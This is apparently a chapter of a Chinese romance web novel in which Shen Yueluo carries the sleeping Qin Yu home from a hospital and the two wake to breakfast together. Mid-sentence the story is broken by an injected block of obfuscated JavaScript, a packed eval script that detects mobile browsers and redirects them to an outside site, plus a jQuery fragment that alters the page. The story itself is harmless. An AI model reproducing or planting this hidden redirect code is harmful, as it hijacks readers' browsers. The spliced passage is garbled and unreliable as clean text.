沈月落低头看着怀里的少年,他的睫毛很长,在眼睑下投下一片浅浅的阴影,脸颊带着淡淡的粉色,睡得很安稳。沈月落的眼底满是温柔,他轻轻调整了一下姿势,让秦玉睡得更舒服些,自己则保持着这个姿势,一动不动,生怕吵醒他。 病房里的灯光被李阿姨调暗了些,暖黄色的光线笼罩着两人,营造出一种温馨而静谧的氛围。李阿姨坐在一旁的椅子上,看着两人熟睡的模样,脸上露出了欣慰的笑容。她能看得出来,沈月落对秦玉是真心的好,那种小心翼翼的呵护和温柔,是装不出来的。 时间一点点流逝,窗外的夜色越来越浓,寒风依旧呼啸,可病房里却温暖而平和。沈月落就这样抱着秦玉,直到后半夜,才渐渐睡去。 凌晨两点,李阿姨轻轻起身,走到陪护床边,看着两人紧紧相拥的样子,心里暗暗想着,这两个孩子真是般配。她轻轻拍了拍沈月落的肩膀,沈月落立刻醒了过来,眼底带着一丝警惕,看到是李阿姨,才放松下来,声音带着刚睡醒的沙哑:“李阿姨,怎么了?” “月落,小玉儿,你们快回家吧。”李阿姨笑着说道,“这里有我照顾老先生,没问题的。你们在这里也睡不好,回家睡能舒服些,明天早上再过来也不迟。” 沈月落看了看怀里的秦玉,他还在熟睡,眉头微微蹙着,似乎有些不舒服。沈月落轻轻点了点头:“好,那麻烦李阿姨了,我们明天一早就过来。” “放心吧,没问题。”李阿姨笑着说道。 沈月落轻轻将秦玉抱起来,秦玉在他怀里蹭了蹭,发出一声慵懒的呢喃,却没有醒。沈月落抱着他,小心翼翼地走出病房,又轻轻关上房门,生怕吵醒陆梓枫。 电梯缓缓下降,沈月落抱着秦玉,脚步平稳,生怕颠簸到怀里的人。秦玉靠在他的怀里,睡得很安稳,长长的睫毛轻轻颤动着,像一只乖巧的小猫。沈月落的眼底满是温柔,低头看着他,嘴角不自觉地勾起一抹浅浅的笑意。 走出医院,寒风迎面吹来,带着刺骨的凉意。沈月落下意识地将秦玉抱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190562|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更紧了些,用自己的外套裹住他,又拉了拉秦玉身上披着的自己的那件外套,生怕他冻着。司机张叔早已在门口等候,看到两人出来,立刻打开后座车门。 沈月落抱着秦玉坐进车里,将他轻轻放在座位上,又给他系好安全带,自己则坐在他身边,轻轻将他揽进怀里,让他靠在自己的胸口。“张叔,开车吧,慢点开。”沈月落叮嘱道。 “好的,月落。”张叔应了一声,发动车子平稳地驶离医院。 车子缓缓行驶在凌晨的街道上,街道上很安静,只有偶尔驶过的车辆,路灯的光透过车窗洒进来,落在两人身上,带着朦胧的暖意。秦玉靠在沈月落的怀里,睡得很沉,偶尔会轻轻蹭一下他的胸口,发出细碎的声响。 沈月落低头看着他,指尖轻轻拂过他的脸颊,动作温柔而小心翼翼。他能清晰地感受到秦玉的变化,从九月刚见面时的清冷疏离,到现在的温柔回应,甚至愿意和他牵手、同睡一张床,这些细微的变化,都让他心里满是欢喜。 车子行驶了大约四十分钟,终于抵达了沈家别墅。沈月落抱着秦玉下车,走进别墅。别墅里很安静,佣人们都已经睡了,只有客厅里留着一盏暖黄色的夜灯,照亮了脚下的路。沈月落抱着秦玉,径直走上二楼,走进自己的卧室。 卧室里很暖和,暖气开得很足。沈月落将秦玉轻轻放在床上,又帮他脱掉外套和鞋子,盖上厚厚的被子。秦玉在被窝里蹭了蹭,找了个舒服的姿势,继续睡着,脸上还带着浅浅的笑意,似乎做了个好梦。 沈月落看着他熟睡的模样,眼底满是温柔,转身走进浴室。很快,浴室里传来哗哗的水声,沈月落洗完澡,穿着宽松的棉质睡衣走出来,头发上还滴着水珠。他走到床边,拿起毛巾轻轻擦了擦头发,然后轻轻掀开被子,小心翼翼地躺了进去,又将秦玉揽进怀里,让他靠在自己的胸口。 秦玉在他怀里蹭了蹭,似乎感受到了熟悉的温度和气息,睡得更加安稳了。沈月落抱着他,低头看着他的发顶,声音低沉而温柔:“晚安,秦同学。” 说完,他闭上眼睛,将下巴抵在秦玉的发顶,感受着怀里人的温度和平稳的呼吸,心里格外踏实。 不知过了多久,秦玉迷迷糊糊地醒了过来。窗外的天色依旧漆黑,卧室里很安静,只有身边人平稳的呼吸声。他能清晰地感受到沈月落的怀抱,温暖而有力,让他很有安全感。他没有动,只是保持着靠在沈月落胸口的姿势,听着他平稳有力的心跳声,心里一片平和。 过了一会儿,秦玉轻轻挪了挪身体,想要去拿放在床头柜上的那个泛黄的笔记本。这是他从小用到大的笔记本,里面记录着他的心事和生活中的点滴,自从搬到沈家别墅住以后,他就一直把笔记本放在床头。 沈月落似乎被他的动作惊动了,迷迷糊糊地睁开眼睛,声音带着刚睡醒的沙哑:“秦同学,怎么了?” “没什么,”秦玉的声音很轻,带着一丝刚睡醒的慵懒,“想拿个东西。” 沈月落松开揽着他的手臂,看着他从床头柜上拿起那个泛黄的笔记本和一支笔。秦玉坐起身,借着窗外透进来的微弱月光,翻开笔记本,在空白的一页上,轻轻写下了几个字:“外公生日快乐,很开心。” 字迹工整清秀,虽然只有简单的几个字,却足以凸显出他此刻的心情。写完后,他合上笔记本,放回床头柜上,嘴角不自觉地勾起一抹浅浅的笑意。 沈月落一直看着他的动作,没有说话,只是在他写完后,重新将他揽进怀里,紧紧地抱着他:“快睡吧,还早。” “嗯。”秦玉轻轻点头,靠在沈月落的胸口,闭上眼睛。 这一次,他没有丝毫的不自在,反而主动往沈月落怀里缩了缩,找了个最舒服的姿势。沈月落的怀抱很温暖,让他完全忘记了窗外的寒风和初冬的冷意,心里只剩下满满的踏实和温暖。 沈月落感受到怀里人的主动,眼底闪过一丝惊喜,随即化为更深的温柔。他轻轻拍了拍秦玉的后背,像是在安抚一个熟睡的孩子,动作轻柔而有节奏。 卧室里再次恢复了安静,只有两人平稳的呼吸声交织在一起,清晰可闻。月光透过窗帘的缝隙洒进来,落在两人身上,给他们镀上了一层朦胧的光晕。 秦玉很快就再次进入了梦乡,这一次,他睡得格外安稳,脸上始终带着浅浅的笑意。沈月落抱着他,感受着怀里人的温度和柔软,心里满是满足。他知道,秦玉虽然没有明确说什么,但他的转变已经说明了一切。 他闭上眼睛,嘴角挂着温柔的笑容,抱着怀里的人,渐渐睡去。窗外的寒风依旧呼啸,可卧室里却温暖如春,包裹着两个少年纯粹而真挚的情谊,在这个初冬的夜晚,静静流淌。 天色渐渐亮了起来,第一缕阳光透过窗帘的缝隙洒进卧室,落在秦玉的脸上。他缓缓睁开眼睛,映入眼帘的是沈月落熟睡的俊脸,对方的眉头微微蹙着,像是在做什么梦,长长的睫毛在眼睑下投下一片浅浅的阴影。 秦玉没有动,只是静静地看着他,眼底带着一丝不易察觉的温柔。他能感受到沈月落放在自己腰间的手臂,温暖而有力,带着一种让人安心的力量。 过了一会儿,沈月落也醒了过来,睁开眼睛就对上了秦玉的目光。他愣了一下,随即露出一个灿烂的笑容:“秦同学,醒了?” “嗯。”秦玉轻轻点头,脸颊微微泛红,连忙移开目光,“天亮了。” “是啊,天亮了。”沈月落笑着说道,伸手揉了揉秦玉的头发,“再睡一会儿?还是起来去医院看外公?” “起来吧,去医院看看外公。”秦玉说道,想要从沈月落怀里挣脱出来。 “再抱一会儿。”沈月落却收紧了手臂,将他抱得更紧了些,语气带着一丝不易察觉的撒娇,“就一会儿。” 秦玉的身体僵了一下,随即放松下来,没有再挣扎,只是任由他抱着。他能感受到沈月落身上传来的温热气息,还有他心脏有力的跳动声,心里泛起一阵异样的暖流。 就这样过了大约十分钟,沈月落才松开手,笑着说道:“好了,起来吧,我让阿姨做了你爱吃的早餐。” “嗯。”秦玉轻轻点头,坐起身,开始穿衣服。 沈月落也跟着起身,两人并肩走进浴室洗漱。镜子里,两个少年的身影紧紧挨着,彼此的眼神偶尔交汇,又会不约而同地移开,脸上都带着淡淡的红晕,气氛温馨而暧昧。 洗漱完后,两人一起下楼吃早餐。餐厅里,阿姨已经做好了丰盛的早餐,有豆浆、油条、茶叶蛋,还有秦玉爱吃的小笼包和小米粥。 “秦同学,快吃吧,刚蒸好的小笼包,还热着。”沈月落帮秦玉夹了一个小笼包,放在他的碗里。 “谢谢。”秦玉轻声说道,拿起筷子,慢慢吃了起来。 沈月落坐在他身边,一边吃着早餐,一边看着他,眼底满是温柔的笑意。阳光透过餐厅的窗户洒进来,落在两人身上,温暖而明亮,像是为他们镀上了一层金色的光晕。 吃完早餐,两人收拾好东西,准备去医院看望陆梓枫。沈月落牵起秦玉的手,两人并肩走出别墅,坐进车里。 车子缓缓驶离沈家别墅,朝着医院的方向开去。秦玉靠在车窗上,看着窗外飞速倒退的风景,嘴角始终挂着浅浅的笑意。他知道,自从沈月落出现后,他的生活就变得不一样了,那些曾经的阴霾和孤独,都在沈月落的温柔和陪伴下,渐渐消散。 他转头看向身边的沈月落,对方正看着他,眼底满是温柔的笑意。两人的目光在空中相遇,没有说话,却像是传递了千言万语。秦玉的脸颊微微泛红,轻轻移开目光,心里却像是被什么东西填满了一样,温暖而踏实。 车子平稳地行驶着,载着两人……缓缓前行。